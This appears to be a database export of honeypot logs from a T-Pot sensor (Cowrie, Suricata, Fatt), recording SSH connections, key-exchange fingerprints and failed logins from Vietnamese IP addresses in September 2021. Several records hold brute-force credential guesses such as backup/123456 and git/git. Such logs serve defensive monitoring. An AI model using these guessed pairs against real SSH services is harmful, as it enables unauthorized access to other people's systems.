\N	\N	\N
25062	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:21.029994+03	2021-09-20 14:15:09.611471+03	{"_id": "KAblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4fddfc18cf82", "@version": "1", "duration": 2.602008581161499, "timestamp": "2021-09-20T11:09:21.029994Z", "@timestamp": "2021-09-20T11:09:21.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25063	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:21.077291+03	2021-09-20 14:15:09.613471+03	{"_id": "KQblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [backup/123456] failed", "session": "c73c35c6a2a5", "@version": "1", "password": "123456", "username": "backup", "timestamp": "2021-09-20T11:09:21.077291Z", "@timestamp": "2021-09-20T11:09:21.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25064	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:21.342903+03	2021-09-20 14:15:09.6145+03	{"_id": "KgblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b9437f1f38e0", "@version": "1", "duration": 2.26389217376709, "timestamp": "2021-09-20T11:09:21.342903Z", "@timestamp": "2021-09-20T11:09:21.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25065	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:21.6286+03	2021-09-20 14:15:09.615501+03	{"_id": "KwblAnwBvYTbRNuEbBfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "51853037cdee", "@version": "1", "duration": 2.7777466773986816, "timestamp": "2021-09-20T11:09:21.628600Z", "@timestamp": "2021-09-20T11:09:21.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25066	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:19.128264+03	2021-09-20 14:15:09.616471+03	{"_id": "7gblAnwBvYTbRNuEYxZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1363926656660950, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37122, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.128264Z", "@timestamp": "2021-09-20T11:09:19.128Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25068	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:20.883608+03	2021-09-20 14:15:09.6195+03	{"_id": "EAblAnwBvYTbRNuEZxdo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1359855027750935, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56514, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.883608Z", "@timestamp": "2021-09-20T11:09:20.883Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25069	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:20.8977+03	2021-09-20 14:15:09.6205+03	{"_id": "EQblAnwBvYTbRNuEZxdo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1550272402827433, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33676, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.897700Z", "@timestamp": "2021-09-20T11:09:20.897Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25070	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:20.824687+03	2021-09-20 14:15:09.6215+03	{"_id": "EgblAnwBvYTbRNuEZxdo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2100996731557765, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38030, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.824687Z", "@timestamp": "2021-09-20T11:09:20.824Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25071	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:20.544517+03	2021-09-20 14:15:09.622499+03	{"_id": "EwblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38030, "timestamp": "2021-09-20T11:09:20.544517", "@timestamp": "2021-09-20T11:09:20.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25072	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:20.883753+03	2021-09-20 14:15:09.624508+03	{"_id": "FAblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56514, "timestamp": "2021-09-20T11:09:20.883753", "@timestamp": "2021-09-20T11:09:20.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25073	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:21.766333+03	2021-09-20 14:15:09.625499+03	{"_id": "LgblAnwBvYTbRNuEbBfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [apple/apple] failed", "session": "f153c4923fb3", "@version": "1", "password": "apple", "username": "apple", "timestamp": "2021-09-20T11:09:21.766333Z", "@timestamp": "2021-09-20T11:09:21.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25074	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:22.929948+03	2021-09-20 14:15:09.6265+03	{"_id": "MAblAnwBvYTbRNuEcBfV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50428 (192.168.176.2:22) [session: d26c3d4ddd88]", "session": "d26c3d4ddd88", "@version": "1", "protocol": "ssh", "src_port": 50428, "dest_port": 22, "timestamp": "2021-09-20T11:09:22.929948Z", "@timestamp": "2021-09-20T11:09:22.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25075	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:22.44595+03	2021-09-20 14:15:09.628472+03	{"_id": "OQblAnwBvYTbRNuEcBfV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [git/git] failed", "session": "5e70f32f8591", "@version": "1", "password": "git", "username": "git", "timestamp": "2021-09-20T11:09:22.445950Z", "@timestamp": "2021-09-20T11:09:22.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25076	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:23.830196+03	2021-09-20 14:15:09.629472+03	{"_id": "RwblAnwBvYTbRNuEcxch", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 393212508463811, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60848, "dest_port": 22, "timestamp": "2021-09-20T11:09:23.830196Z", "@timestamp": "2021-09-20T11:09:23.830Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25077	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:23.830382+03	2021-09-20 14:15:09.630471+03	{"_id": "SAblAnwBvYTbRNuEdBco", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60848, "timestamp": "2021-09-20T11:09:23.830382", "@timestamp": "2021-09-20T11:09:23.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25078	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:24.408307+03	2021-09-20 14:15:09.63147+03	{"_id": "UgblAnwBvYTbRNuEdBfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54072 (192.168.176.2:22) [session: 659f8c926cfe]", "session": "659f8c926cfe", "@version": "1", "protocol": "ssh", "src_port": 54072, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.408307Z", "@timestamp": "2021-09-20T11:09:24.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25079	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:23.846104+03	2021-09-20 14:15:09.633471+03	{"_id": "TwblAnwBvYTbRNuEdBfA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eb27d9bd0c99", "@version": "1", "timestamp": "2021-09-20T11:09:23.846104Z", "@timestamp": "2021-09-20T11:09:23.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25080	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:24.3607+03	2021-09-20 14:15:09.634471+03	{"_id": "UAblAnwBvYTbRNuEdBfA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "606e1b25c6b7", "@version": "1", "duration": 3.750359535217285, "timestamp": "2021-09-20T11:09:24.360700Z", "@timestamp": "2021-09-20T11:09:24.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
